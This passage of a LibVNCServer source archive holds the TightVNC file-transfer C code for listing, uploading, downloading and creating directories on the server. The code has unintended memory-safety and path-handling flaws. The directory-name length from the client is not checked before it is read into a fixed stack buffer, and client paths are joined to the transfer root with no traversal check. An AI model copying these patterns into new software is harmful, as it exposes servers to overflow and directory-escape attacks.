ftm; unsigned long numOfBytesWritten = 0; memset(&ftm, 0, sizeof(FileTransferMsg)); numOfBytesWritten = write(rtcp->rcft.rcfu.uploadFD, pBuf, rtcp->rcft.rcfu.fSize); if(numOfBytesWritten != rtcp->rcft.rcfu.fSize) { char reason[] = "Error writing file data"; int reasonLen = strlen(reason); ftm = CreateFileUploadErrMsg(reason, reasonLen); CloseUndoneFileTransfer(cl, rtcp); } return ftm; } void FileUpdateComplete(rfbClientPtr cl, rfbTightClientPtr rtcp) { /* Here we are settimg the modification and access time of the file */ /* Windows code stes mod/access/creation time of the file */ struct utimbuf utb; utb.actime = utb.modtime = rtcp->rcft.rcfu.mTime; if(utime(rtcp->rcft.rcfu.fName, &utb) == -1) { rfbLog("File [%s]: Method [%s]: Setting the modification/access" " time for the file <%s> failed\n", __FILE__, __FUNCTION__, rtcp->rcft.rcfu.fName); } if(rtcp->rcft.rcfu.uploadFD != -1) { close(rtcp->rcft.rcfu.uploadFD); rtcp->rcft.rcfu.uploadFD = -1; rtcp->rcft.rcfu.uploadInProgress = FALSE; } } FileTransferMsg CreateFileUploadErrMsg(char* reason, unsigned int reasonLen) { FileTransferMsg fileUploadErrMsg; int length = sz_rfbFileUploadCancelMsg + reasonLen; rfbFileUploadCancelMsg *pFDF = NULL; char *pFollow = NULL; char *pData = (char*) calloc(length, sizeof(char)); memset(&fileUploadErrMsg, 0, sizeof(FileTransferMsg)); if(pData == NULL) { rfbLog("File [%s]: Method [%s]: pData is NULL\n", __FILE__, __FUNCTION__); return fileUploadErrMsg; } pFDF = (rfbFileUploadCancelMsg *) pData; pFollow = &pData[sz_rfbFileUploadCancelMsg]; pFDF->type = rfbFileUploadCancel; pFDF->reasonLen = Swap16IfLE(reasonLen); memcpy(pFollow, reason, reasonLen); fileUploadErrMsg.data = pData; fileUploadErrMsg.length = length; return fileUploadErrMsg; } /****************************************************************************** * Method to cancel File Transfer operation. ******************************************************************************/ void CloseUndoneFileTransfer(rfbClientPtr cl, rfbTightClientPtr rtcp) { /* TODO :: File Upload case is not handled currently */ /* TODO :: In case of concurrency we need to use Critical Section */ if(cl == NULL) return; if(rtcp->rcft.rcfu.uploadInProgress == TRUE) { rtcp->rcft.rcfu.uploadInProgress = FALSE; if(rtcp->rcft.rcfu.uploadFD != -1) { close(rtcp->rcft.rcfu.uploadFD); rtcp->rcft.rcfu.uploadFD = -1; } if(unlink(rtcp->rcft.rcfu.fName) == -1) { rfbLog("File [%s]: Method [%s]: Delete operation on file <%s> failed\n", __FILE__, __FUNCTION__, rtcp->rcft.rcfu.fName); } memset(rtcp->rcft.rcfu.fName, 0 , PATH_MAX); } if(rtcp->rcft.rcfd.downloadInProgress == TRUE) { rtcp->rcft.rcfd.downloadInProgress = FALSE; if(rtcp->rcft.rcfd.downloadFD != -1) { close(rtcp->rcft.rcfd.downloadFD); rtcp->rcft.rcfd.downloadFD = -1; } memset(rtcp->rcft.rcfd.fName, 0 , PATH_MAX); } } /****************************************************************************** * Method to handle create directory request. ******************************************************************************/ #ifdef _MSC_VER #undef CreateDirectory /* Prevent macro clashes under Windows */ #endif /* _MSC_VER */ void CreateDirectory(char* dirName) { if(dirName == NULL) return; if(mkdir(dirName, 0700) == -1) { rfbLog("File [%s]: Method [%s]: Create operation for directory <%s> failed\n", __FILE__, __FUNCTION__, dirName); } } libvncserver-LibVNCServer-0.9.11/libvncserver/tightvnc-filetransfer/filetransfermsg.h000066400000000000000000000041471303145525000311340ustar00rootroot00000000000000/* * Copyright (c) 2005 Novell, Inc. * All Rights Reserved. * * This program is free software; you can redistribute it and/or * modify it under the terms of version 2 of the GNU General Public License as * published by the Free Software Foundation. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, contact Novell, Inc. * * To contact Novell about this file by physical or electronic mail, * you may find current contact information at www.novell.com * * Author : Rohit Kumar * Email ID : rokumar@novell.com * Date : 14th July 2005 */ #ifndef FILE_TRANSFER_MSG_H #define FILE_TRANSFER_MSG_H #ifdef _MSC_VER #pragma push_macro("CreateDirectory") #undef CreateDirectory /* Prevent macro clashes under Windows */ #endif /* _MSC_VER */ typedef struct _FileTransferMsg { char* data; unsigned int length; } FileTransferMsg; FileTransferMsg GetFileListResponseMsg(char* path, char flag); FileTransferMsg GetFileDownloadResponseMsg(char* path); FileTransferMsg GetFileDownloadLengthErrResponseMsg(); FileTransferMsg GetFileDownLoadErrMsg(); FileTransferMsg GetFileDownloadResponseMsgInBlocks(rfbClientPtr cl, rfbTightClientPtr data); FileTransferMsg ChkFileDownloadErr(rfbClientPtr cl, rfbTightClientPtr data); FileTransferMsg GetFileUploadLengthErrResponseMsg(); FileTransferMsg GetFileUploadCompressedLevelErrMsg(); FileTransferMsg ChkFileUploadErr(rfbClientPtr cl, rfbTightClientPtr data); FileTransferMsg ChkFileUploadWriteErr(rfbClientPtr cl, rfbTightClientPtr data, char* pBuf); void CreateDirectory(char* dirName); void FileUpdateComplete(rfbClientPtr cl, rfbTightClientPtr data); void CloseUndoneFileTransfer(rfbClientPtr cl, rfbTightClientPtr data); void FreeFileTransferMsg(FileTransferMsg ftm); #ifdef _MSC_VER # pragma pop_macro("CreateDirectory") /* Restore original macro */ #endif /* _MSC_VER */ #endif libvncserver-LibVNCServer-0.9.11/libvncserver/tightvnc-filetransfer/handlefiletransferrequest.c000066400000000000000000000605121303145525000332030ustar00rootroot00000000000000/* * Copyright (c) 2005 Novell, Inc. * All Rights Reserved. * * This program is free software; you can redistribute it and/or * modify it under the terms of version 2 of the GNU General Public License as * published by the Free Software Foundation. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, contact Novell, Inc. * * To contact Novell about this file by physical or electronic mail, * you may find current contact information at www.novell.com * * Author : Rohit Kumar * Email ID : rokumar@novell.com * Date : 14th July 2005 */ #ifndef _MSC_VER #include #endif /* _MSC_VER */ #include #include #include #include #ifndef _MSC_VER #include #include #endif /* _MSC_VER */ #include #include #include #include #include "rfbtightproto.h" #include "filetransfermsg.h" #include "handlefiletransferrequest.h" pthread_mutex_t fileDownloadMutex = PTHREAD_MUTEX_INITIALIZER; rfbBool fileTransferEnabled = TRUE; rfbBool fileTransferInitted = FALSE; char ftproot[PATH_MAX]; /****************************************************************************** * File Transfer Init methods. These methods are called for initializating * File Transfer and setting ftproot. ******************************************************************************/ void InitFileTransfer(); int SetFtpRoot(char* path); char* GetHomeDir(uid_t uid); void FreeHomeDir(char *homedir); /* * InitFileTransfer method is called before parsing the command-line options * for Xvnc. This sets the ftproot to the Home dir of the user running the Xvnc * server. In case of error ftproot is set to '\0' char. */ void InitFileTransfer() { char* userHome = NULL; uid_t uid = geteuid(); if(fileTransferInitted) return; rfbLog("tightvnc-filetransfer/InitFileTransfer\n"); memset(ftproot, 0, sizeof(ftproot)); userHome = GetHomeDir(uid); if((userHome != NULL) && (strlen(userHome) != 0)) { SetFtpRoot(userHome); FreeHomeDir(userHome); } fileTransferEnabled = TRUE; fileTransferInitted = TRUE; } #ifndef __GNUC__ #define __FUNCTION__ "unknown" #endif /* * This method is called from InitFileTransfer method and * if the command line option for ftproot is provided. */ int SetFtpRoot(char* path) { struct stat stat_buf; DIR* dir = NULL; rfbLog("tightvnc-filetransfer/SetFtpRoot\n"); if((path == NULL) || (strlen(path) == 0) || (strlen(path) > (PATH_MAX - 1))) { rfbLog("File [%s]: Method [%s]: parameter passed is improper, ftproot" " not changed\n", __FILE__, __FUNCTION__); return FALSE; } if(stat(path, &stat_buf) < 0) { rfbLog("File [%s]: Method [%s]: Reading stat for file %s failed\n", __FILE__, __FUNCTION__, path); return FALSE; } if(S_ISDIR(stat_buf.st_mode) == 0) { rfbLog("File [%s]: Method [%s]: path specified is not a directory\n", __FILE__, __FUNCTION__); return FALSE; } if((dir = opendir(path)) == NULL) { rfbLog("File [%s]: Method [%s]: Not able to open the directory\n", __FILE__, __FUNCTION__); return FALSE; } else { closedir(dir); dir = NULL; } memset(ftproot, 0, PATH_MAX); if(path[strlen(path)-1] == '/') { memcpy(ftproot, path, strlen(path)-1); } else memcpy(ftproot, path, strlen(path)); return TRUE; } /* * Get the home directory for the user name * param: username - name of the user for whom the home directory is required. * returns: returns the home directory for the user, or null in case the entry * is not found or any error. The returned string must be freed by calling the * freehomedir function. */ char* GetHomeDir(uid_t uid) { struct passwd *pwEnt = NULL; char *homedir = NULL; pwEnt = getpwuid (uid); if (pwEnt == NULL) return NULL; if(pwEnt->pw_dir != NULL) { homedir = strdup (pwEnt->pw_dir); } return homedir; } /* * Free the home directory allocated by a previous call to retrieve the home * directory. param: homedir - the string returned by a previous call to * retrieve home directory for a user. */ void FreeHomeDir(char *homedir) { free (homedir); } /****************************************************************************** * General methods. ******************************************************************************/ /* * When the console sends the File Transfer Request, it sends the file path with * ftproot as "/". So on Agent, to get the absolute file path we need to prepend * the ftproot to it. */ char* ConvertPath(char* path) { char p[PATH_MAX]; memset(p, 0, PATH_MAX); if( (path == NULL) || (strlen(path) == 0) || (strlen(path)+strlen(ftproot) > PATH_MAX - 1) ) { rfbLog("File [%s]: Method [%s]: cannot create path for file transfer\n", __FILE__, __FUNCTION__); return NULL; } memcpy(p, path, strlen(path)); memset(path, 0, PATH_MAX); sprintf(path, "%s%s", ftproot, p); return path; } void EnableFileTransfer(rfbBool enable) { fileTransferEnabled = enable; } rfbBool IsFileTransferEnabled() { return fileTransferEnabled; } char* GetFtpRoot() { return ftproot; } /****************************************************************************** * Methods to Handle File List Request. ******************************************************************************/ /* * HandleFileListRequest method is called when the server receives * FileListRequest. In case of success a file list is sent to the client. * For File List Request there is no failure reason sent.So here in case of any * "unexpected" error no information will be sent. As these conditions should * never come. Lets hope it never arrives :) * In case of dir open failure an empty list will be sent, just the header of * the message filled up. So on console you will get an Empty listing. */ void HandleFileListRequest(rfbClientPtr cl, rfbTightClientRec* data) { rfbClientToServerTightMsg msg; int n = 0; char path[PATH_MAX]; /* PATH_MAX has the value 4096 and is defined in limits.h */ FileTransferMsg fileListMsg; memset(&msg, 0, sizeof(rfbClientToServerTightMsg)); memset(path, 0, PATH_MAX); memset(&fileListMsg, 0, sizeof(FileTransferMsg)); if(cl == NULL) { rfbLog("File [%s]: Method [%s]: Unexpected error: rfbClientPtr is null\n", __FILE__, __FUNCTION__); return; } if((n = rfbReadExact(cl, ((char *)&msg)+1, sz_rfbFileListRequestMsg-1)) <= 0) { if (n < 0) rfbLog("File [%s]: Method [%s]: Socket error while reading dir name" " length\n", __FILE__, __FUNCTION__); rfbCloseClient(cl); return; } msg.flr.dirNameSize = Swap16IfLE(msg.flr.dirNameSize); if ((msg.flr.dirNameSize == 0) || (msg.flr.dirNameSize > (PATH_MAX - 1))) { rfbLog("File [%s]: Method [%s]: Unexpected error:: path length is " "greater that PATH_MAX\n", __FILE__, __FUNCTION__); return; } if((n = rfbReadExact(cl, path, msg.flr.dirNameSize)) <= 0) { if (n < 0) rfbLog("File [%s]: Method [%s]: Socket error while reading dir name\n", __FILE__, __FUNCTION__); rfbCloseClient(cl); return; } if(ConvertPath(path) == NULL) { /* The execution should never reach here */ rfbLog("File [%s]: Method [%s]: Unexpected error: path is NULL", __FILE__, __FUNCTION__); return; } fileListMsg = GetFileListResponseMsg(path, (char) (msg.flr.flags)); if((fileListMsg.data == NULL) || (fileListMsg.length == 0)) { rfbLog("File [%s]: Method [%s]: Unexpected error:: Data to be sent is " "of Zero length\n", __FILE__, __FUNCTION__); return; } rfbWriteExact(cl, fileListMsg.data, fileListMsg.length); FreeFileTransferMsg(fileListMsg); } /****************************************************************************** * Methods to Handle File Download Request. ******************************************************************************/ void HandleFileDownloadLengthError(rfbClientPtr cl, short fNameSize); void SendFileDownloadLengthErrMsg(rfbClientPtr cl); void HandleFileDownload(rfbClientPtr cl, rfbTightClientPtr data); #ifdef TODO void HandleFileDownloadRequest(rfbClientPtr cl); void SendFileDownloadErrMsg(rfbClientPtr cl); void* RunFileDownloadThread(void* client); #endif /* * HandleFileDownloadRequest method is called when the server receives * rfbFileDownload request message. */ void HandleFileDownloadRequest(rfbClientPtr cl, rfbTightClientPtr rtcp) { int n = 0; char path[PATH_MAX]; /* PATH_MAX has the value 4096 and is defined in limits.h */ rfbClientToServerTightMsg msg; memset(path, 0, sizeof(path)); memset(&msg, 0, sizeof(rfbClientToServerTightMsg)); if(cl == NULL) { rfbLog("File [%s]: Method [%s]: Unexpected error:: rfbClientPtr is null\n", __FILE__, __FUNCTION__); return; } if((n = rfbReadExact(cl, ((char *)&msg)+1, sz_rfbFileDownloadRequestMsg-1)) <= 0) { if (n < 0) rfbLog("File [%s]: Method [%s]: Error while reading dir name length\n", __FILE__, __FUNCTION__); rfbCloseClient(cl); return; } msg.fdr.fNameSize = Swap16IfLE(msg.fdr.fNameSize); msg.fdr.position = Swap16IfLE(msg.fdr.position); if ((msg.fdr.fNameSize == 0) || (msg.fdr.fNameSize > (PATH_MAX - 1))) { rfbLog("File [%s]: Method [%s]: Error: path length is greater than" " PATH_MAX\n", __FILE__, __FUNCTION__); HandleFileDownloadLengthError(cl, msg.fdr.fNameSize); return; } if((n = rfbReadExact(cl, rtcp->rcft.rcfd.fName, msg.fdr.fNameSize)) <= 0) { if (n < 0) rfbLog("File [%s]: Method [%s]: Error while reading dir name length\n", __FILE__, __FUNCTION__); rfbCloseClient(cl); return; } rtcp->rcft.rcfd.fName[msg.fdr.fNameSize] = '\0'; if(ConvertPath(rtcp->rcft.rcfd.fName) == NULL) { rfbLog("File [%s]: Method [%s]: Unexpected error: path is NULL", __FILE__, __FUNCTION__); /* This condition can come only if the file path is greater than PATH_MAX. So sending file path length error msg back to client. */ SendFileDownloadLengthErrMsg(cl); return; } HandleFileDownload(cl, rtcp); } void HandleFileDownloadLengthError(rfbClientPtr cl, short fNameSize) { char *path = NULL; int n = 0; if((path = (char*) calloc(fNameSize, sizeof(char))) == NULL) { rfbLog("File [%s]: Method [%s]: Fatal Error: Alloc failed\n", __FILE__, __FUNCTION__); return; } if((n = rfbReadExact(cl, path, fNameSize)) <= 0) { if (n < 0) rfbLog("File [%s]: Method [%s]: Error while reading dir name\n", __FILE__, __FUNCTION__); rfbCloseClient(cl); if(path != NULL) { free(path); path = NULL; } return; } if(path != NULL) { free(path); path = NULL; } SendFileDownloadLengthErrMsg(cl); } void SendFileDownloadLengthErrMsg(rfbClientPtr cl) { FileTransferMsg fileDownloadErrMsg; memset(&fileDownloadErrMsg, 0 , sizeof(FileTransferMsg)); fileDownloadErrMsg = GetFileDownloadLengthErrResponseMsg(); if((fileDownloadErrMsg.data == NULL) || (fileDownloadErrMsg.length == 0)) { rfbLog("File [%s]: Method [%s]: Unexpected error: fileDownloadErrMsg " "is null\n", __FILE__, __FUNCTION__); return; } rfbWriteExact(cl, fileDownloadErrMsg.data, fileDownloadErrMsg.length); FreeFileTransferMsg(fileDownloadErrMsg); } extern rfbTightClientPtr rfbGetTightClientData(rfbClientPtr cl); void* RunFileDownloadThread(void* client) { rfbClientPtr cl = (rfbClientPtr) client; rfbTightClientPtr rtcp = rfbGetTightClientData(cl); FileTransferMsg fileDownloadMsg; if(rtcp == NULL) return NULL; memset(&fileDownloadMsg, 0, sizeof(FileTransferMsg)); do { pthread_mutex_lock(&fileDownloadMutex); fileDownloadMsg = GetFileDownloadResponseMsgInBlocks(cl, rtcp); pthread_mutex_unlock(&fileDownloadMutex); if((fileDownloadMsg.data != NULL) && (fileDownloadMsg.length != 0)) { if(rfbWriteExact(cl, fileDownloadMsg.data, fileDownloadMsg.length) < 0) { rfbLog("File [%s]: Method [%s]: Error while writing to socket \n" , __FILE__, __FUNCTION__); if(cl != NULL) { rfbCloseClient(cl); CloseUndoneFileTransfer(cl, rtcp); } FreeFileTransferMsg(fileDownloadMsg); return NULL; } FreeFileTransferMsg(fileDownloadMsg); } } while(rtcp->rcft.rcfd.downloadInProgress == TRUE); return NULL; } void HandleFileDownload(rfbClientPtr cl, rfbTightClientPtr rtcp) { pthread_t fileDownloadThread; FileTransferMsg fileDownloadMsg; memset(&fileDownloadMsg, 0, sizeof(FileTransferMsg)); fileDownloadMsg = ChkFileDownloadErr(cl, rtcp); if((fileDownloadMsg.data != NULL) && (fileDownloadMsg.length != 0)) { rfbWriteExact(cl, fileDownloadMsg.data, fileDownloadMsg.length); FreeFileTransferMsg(fileDownloadMsg); return; } rtcp->rcft.rcfd.downloadInProgress = FALSE; rtcp->rcft.rcfd.downloadFD = -1; if(pthread_create(&fileDownloadThread, NULL, RunFileDownloadThread, (void*) cl) != 0) { FileTransferMsg ftm = GetFileDownLoadErrMsg(); rfbLog("File [%s]: Method [%s]: Download thread creation failed\n", __FILE__, __FUNCTION__); if((ftm.data != NULL) && (ftm.length != 0)) { rfbWriteExact(cl, ftm.data, ftm.length); FreeFileTransferMsg(ftm); return; } } } /****************************************************************************** * Methods to Handle File Download Cancel Request. ******************************************************************************/ void HandleFileDownloadCancelRequest(rfbClientPtr cl, rfbTightClientPtr rtcp) { int n = 0; char *reason = NULL; rfbClientToServerTightMsg msg; memset(&msg, 0, sizeof(rfbClientToServerTightMsg)); if((n = rfbReadExact(cl, ((char *)&msg)+1, sz_rfbFileDownloadCancelMsg-1)) <= 0) { if (n < 0) rfbLog("File [%s]: Method [%s]: Error while reading " "FileDownloadCancelMsg\n", __FILE__, __FUNCTION__); rfbCloseClient(cl); return; } msg.fdc.reasonLen = Swap16IfLE(msg.fdc.reasonLen); if(msg.fdc.reasonLen == 0) { rfbLog("File [%s]: Method [%s]: reason length received is Zero\n", __FILE__, __FUNCTION__); return; } reason = (char*) calloc(msg.fdc.reasonLen + 1, sizeof(char)); if(reason == NULL) { rfbLog("File [%s]: Method [%s]: Fatal Error: Memory alloc failed\n", __FILE__, __FUNCTION__); return; } if((n = rfbReadExact(cl, reason, msg.fdc.reasonLen)) <= 0) { if (n < 0) rfbLog("File [%s]: Method [%s]: Error while reading " "FileDownloadCancelMsg\n", __FILE__, __FUNCTION__); rfbCloseClient(cl); } rfbLog("File [%s]: Method [%s]: File Download Cancel Request received:" " reason <%s>\n", __FILE__, __FUNCTION__, reason); pthread_mutex_lock(&fileDownloadMutex); CloseUndoneFileTransfer(cl, rtcp); pthread_mutex_unlock(&fileDownloadMutex); if(reason != NULL) { free(reason); reason = NULL; } } /****************************************************************************** * Methods to Handle File upload request ******************************************************************************/ #ifdef TODO void HandleFileUploadRequest(rfbClientPtr cl); #endif void HandleFileUpload(rfbClientPtr cl, rfbTightClientPtr data); void HandleFileUploadLengthError(rfbClientPtr cl, short fNameSize); void SendFileUploadLengthErrMsg(rfbClientPtr cl); void HandleFileUploadRequest(rfbClientPtr cl, rfbTightClientPtr rtcp) { int n = 0; char path[PATH_MAX]; /* PATH_MAX has the value 4096 and is defined in limits.h */ rfbClientToServerTightMsg msg; memset(path, 0, PATH_MAX); memset(&msg, 0, sizeof(rfbClientToServerTightMsg)); if(cl == NULL) { rfbLog("File [%s]: Method [%s]: Unexpected error: rfbClientPtr is null\n", __FILE__, __FUNCTION__); return; } if((n = rfbReadExact(cl, ((char *)&msg)+1, sz_rfbFileUploadRequestMsg-1)) <= 0) { if (n < 0) rfbLog("File [%s]: Method [%s]: Error while reading FileUploadRequestMsg\n", __FILE__, __FUNCTION__); rfbCloseClient(cl); return; } msg.fupr.fNameSize = Swap16IfLE(msg.fupr.fNameSize); msg.fupr.position = Swap16IfLE(msg.fupr.position); if ((msg.fupr.fNameSize == 0) || (msg.fupr.fNameSize > (PATH_MAX - 1))) { rfbLog("File [%s]: Method [%s]: error: path length is greater than PATH_MAX\n", __FILE__, __FUNCTION__); HandleFileUploadLengthError(cl, msg.fupr.fNameSize); return; } if((n = rfbReadExact(cl, rtcp->rcft.rcfu.fName, msg.fupr.fNameSize)) <= 0) { if (n < 0) rfbLog("File [%s]: Method [%s]: Error while reading FileUploadRequestMsg\n" __FILE__, __FUNCTION__); rfbCloseClient(cl); return; } rtcp->rcft.rcfu.fName[msg.fupr.fNameSize] = '\0'; if(ConvertPath(rtcp->rcft.rcfu.fName) == NULL) { rfbLog("File [%s]: Method [%s]: Unexpected error: path is NULL\n", __FILE__, __FUNCTION__); /* This may come if the path length exceeds PATH_MAX. So sending path length error to client */ SendFileUploadLengthErrMsg(cl); return; } HandleFileUpload(cl, rtcp); } void HandleFileUploadLengthError(rfbClientPtr cl, short fNameSize) { char *path = NULL; int n = 0; if((path = (char*) calloc(fNameSize, sizeof(char))) == NULL) { rfbLog("File [%s]: Method [%s]: Fatal Error: Alloc failed\n", __FILE__, __FUNCTION__); return; } if((n = rfbReadExact(cl, path, fNameSize)) <= 0) { if (n < 0) rfbLog("File [%s]: Method [%s]: Error while reading dir name\n", __FILE__, __FUNCTION__); rfbCloseClient(cl); if(path != NULL) { free(path); path = NULL; } return; } rfbLog("File [%s]: Method [%s]: File Upload Length Error occurred" "file path requested is <%s>\n", __FILE__, __FUNCTION__, path); if(path != NULL) { free(path); path = NULL; } SendFileUploadLengthErrMsg(cl); } void SendFileUploadLengthErrMsg(rfbClientPtr cl) { FileTransferMsg fileUploadErrMsg; memset(&fileUploadErrMsg, 0, sizeof(FileTransferMsg)); fileUploadErrMsg = GetFileUploadLengthErrResponseMsg(); if((fileUploadErrMsg.data == NULL) || (fileUploadErrMsg.length == 0)) { rfbLog("File [%s]: Method [%s]: Unexpected error: fileUploadErrMsg is null\n", __FILE__, __FUNCTION__); return; } rfbWriteExact(cl, fileUploadErrMsg.data, fileUploadErrMsg.length); FreeFileTransferMsg(fileUploadErrMsg); } void HandleFileUpload(rfbClientPtr cl, rfbTightClientPtr rtcp) { FileTransferMsg fileUploadErrMsg; memset(&fileUploadErrMsg, 0, sizeof(FileTransferMsg)); rtcp->rcft.rcfu.uploadInProgress = FALSE; rtcp->rcft.rcfu.uploadFD = -1; fileUploadErrMsg = ChkFileUploadErr(cl, rtcp); if((fileUploadErrMsg.data != NULL) && (fileUploadErrMsg.length != 0)) { rfbWriteExact(cl, fileUploadErrMsg.data, fileUploadErrMsg.length); FreeFileTransferMsg(fileUploadErrMsg); } } /****************************************************************************** * Methods to Handle File Upload Data Request *****************************************************************************/ void HandleFileUploadWrite(rfbClientPtr cl, rfbTightClientPtr rtcp, char* pBuf); void HandleFileUploadDataRequest(rfbClientPtr cl, rfbTightClientPtr rtcp) { int n = 0; char* pBuf = NULL; rfbClientToServerTightMsg msg; memset(&msg, 0, sizeof(rfbClientToServerTightMsg)); if(cl == NULL) { rfbLog("File [%s]: Method [%s]: Unexpected error: rfbClientPtr is null\n", __FILE__, __FUNCTION__); return; } if((n = rfbReadExact(cl, ((char *)&msg)+1, sz_rfbFileUploadDataMsg-1)) <= 0) { if (n < 0) rfbLog("File [%s]: Method [%s]: Error while reading FileUploadRequestMsg\n", __FILE__, __FUNCTION__); rfbCloseClient(cl); return; } msg.fud.realSize = Swap16IfLE(msg.fud.realSize); msg.fud.compressedSize = Swap16IfLE(msg.fud.compressedSize); if((msg.fud.realSize == 0) && (msg.fud.compressedSize == 0)) { if((n = rfbReadExact(cl, (char*)&(rtcp->rcft.rcfu.mTime), sizeof(unsigned long))) <= 0) { if (n < 0) rfbLog("File [%s]: Method [%s]: Error while reading FileUploadRequestMsg\n", __FILE__, __FUNCTION__); rfbCloseClient(cl); return; } FileUpdateComplete(cl, rtcp); return; } pBuf = (char*) calloc(msg.fud.compressedSize, sizeof(char)); if(pBuf == NULL) { rfbLog("File [%s]: Method [%s]: Memory alloc failed\n", __FILE__, __FUNCTION__); return; } if((n = rfbReadExact(cl, pBuf, msg.fud.compressedSize)) <= 0) { if (n < 0) rfbLog("File [%s]: Method [%s]: Error while reading FileUploadRequestMsg\n", __FILE__, __FUNCTION__); rfbCloseClient(cl); if(pBuf != NULL) { free(pBuf); pBuf = NULL; } return; } if(msg.fud.compressedLevel != 0) { FileTransferMsg ftm; memset(&ftm, 0, sizeof(FileTransferMsg)); ftm = GetFileUploadCompressedLevelErrMsg(); if((ftm.data != NULL) && (ftm.length != 0)) { rfbWriteExact(cl, ftm.data, ftm.length); FreeFileTransferMsg(ftm); } CloseUndoneFileTransfer(cl, rtcp); if(pBuf != NULL) { free(pBuf); pBuf = NULL; } return; } rtcp->rcft.rcfu.fSize = msg.fud.compressedSize; HandleFileUploadWrite(cl, rtcp, pBuf); if(pBuf != NULL) { free(pBuf); pBuf = NULL; } } void HandleFileUploadWrite(rfbClientPtr cl, rfbTightClientPtr rtcp, char* pBuf) { FileTransferMsg ftm; memset(&ftm, 0, sizeof(FileTransferMsg)); ftm = ChkFileUploadWriteErr(cl, rtcp, pBuf); if((ftm.data != NULL) && (ftm.length != 0)) { rfbWriteExact(cl, ftm.data, ftm.length); FreeFileTransferMsg(ftm); } } /****************************************************************************** * Methods to Handle File Upload Failed Request. ******************************************************************************/ void HandleFileUploadFailedRequest(rfbClientPtr cl, rfbTightClientPtr rtcp) { int n = 0; char* reason = NULL; rfbClientToServerTightMsg msg; memset(&msg, 0, sizeof(rfbClientToServerTightMsg)); if(cl == NULL) { rfbLog("File [%s]: Method [%s]: Unexpected error: rfbClientPtr is null\n", __FILE__, __FUNCTION__); return; } if((n = rfbReadExact(cl, ((char *)&msg)+1, sz_rfbFileUploadFailedMsg-1)) <= 0) { if (n < 0) rfbLog("File [%s]: Method [%s]: Error while reading FileUploadFailedMsg\n", __FILE__, __FUNCTION__); rfbCloseClient(cl); return; } msg.fuf.reasonLen = Swap16IfLE(msg.fuf.reasonLen); if(msg.fuf.reasonLen == 0) { rfbLog("File [%s]: Method [%s]: reason length received is Zero\n", __FILE__, __FUNCTION__); return; } reason = (char*) calloc(msg.fuf.reasonLen + 1, sizeof(char)); if(reason == NULL) { rfbLog("File [%s]: Method [%s]: Memory alloc failed\n", __FILE__, __FUNCTION__); return; } if((n = rfbReadExact(cl, reason, msg.fuf.reasonLen)) <= 0) { if (n < 0) rfbLog("File [%s]: Method [%s]: Error while reading FileUploadFailedMsg\n", __FILE__, __FUNCTION__); rfbCloseClient(cl); if(reason != NULL) { free(reason); reason = NULL; } return; } rfbLog("File [%s]: Method [%s]: File Upload Failed Request received:" " reason <%s>\n", __FILE__, __FUNCTION__, reason); CloseUndoneFileTransfer(cl, rtcp); if(reason != NULL) { free(reason); reason = NULL; } } /****************************************************************************** * Methods to Handle File Create Request. ******************************************************************************/ void HandleFileCreateDirRequest(rfbClientPtr cl, rfbTightClientPtr rtcp) { int n = 0; char dirName[PATH_MAX]; rfbClientToServerTightMsg msg; memset(dirName, 0, PATH_MAX); memset(&msg, 0, sizeof(rfbClientToServerTightMsg)); if(cl == NULL) { rfbLog("File [%s]: Method [%s]: Unexpected error: rfbClientPtr is null\n", __FILE__, __FUNCTION__); return; } if((n = rfbReadExact(cl, ((char *)&msg)+1, sz_rfbFileCreateDirRequestMsg-1)) <= 0) { if (n < 0) rfbLog("File [%s]: Method [%s]: Error while reading FileCreateDirRequestMsg\n", __FILE__, __FUNCTION__); rfbCloseClient(cl); return; } msg.fcdr.dNameLen = Swap16IfLE(msg.fcdr.dNameLen); /* TODO :: chk if the dNameLen is greater than PATH_MAX */ if((n = rfbReadExact(cl, dirName, msg.fcdr.dNameLen)) <= 0) { if (n < 0) rfbLog("File [%s]: Method [%s]: Error while reading FileUploadFailedMsg\n", __FILE__, __FUNCTION__); rfbCloseClient(cl); return; } if(ConvertPath(dirName) == NULL) { rfbLog("File [%s]: Method [%s]: Unexpected error: path is NULL\n", __FILE__, __FUNCTION__); return; } CreateDirectory(dirName); } libvncserver-LibVNCServer-0.9.11/libvncserver/tightvnc-filetransfer/handlefiletransferrequest.h000066400000000000000000000031561303145525000332110ustar00rootroot00000000000000/* * Copyright (c) 2005 Novell, Inc. * All Rights Reserved. * * This program is free software; you can redistribute it and/or * modify it under the terms of version 2 of the GNU General Public License as * published by the Free Software Foundation. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, contact Novell, Inc. * * To contact Novell about this file by physical or electronic mail, * you may find current contact information at www.novell.com * * Author : Rohit Kumar * Email ID : rokumar@novell.com * Date : 14th July 2005 */ #ifndef HANDLE_FILE_TRANSFER_REQUEST_H #define HANDLE_FILE_TRANSFER_REQUEST_H #include void InitFileTransfer(); int SetFtpRoot(char* path); void EnableFileTransfer(rfbBool enable); rfbBool IsFileTransferEnabled(); char* GetFtpRoot(); void HandleFileListRequest(rfbClientPtr cl, rfbTightClientRec* data); void HandleFileDownloadRequest(rfbClientPtr cl, rfbTightClientRec* data); void HandleFileDownloadCancelRequest(rfbClientPtr cl, rfbTightClientRec* data); void HandleFileUploadRequest(rfbClientPtr cl, rfbTightClientRec* data); void HandleFileUploadDataRequest(rfbClientPtr cl, rfbTightClientRec* data); void HandleFileUploadFailedRequest(rfbClientPtr cl, rfbTightClientRec* data); void HandleFileCreateDirRequest(rfbClientPtr cl, rfbTightClientRec* data); #endif libvncserver-LibVNCServer-0.9.11/libvncserver/tightvnc-filetransfer/rfbtightproto.h000066400000000000000000000321201303145525000306260ustar00rootroot00000000000000/* * Copyright (c) 2005 Novell, Inc. * All Rights Reserved. * * This program is free software; you can redistribute it and/or * modify it under the terms of version 2 of the GNU General Public License as * published by the Free Software Foundation. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied 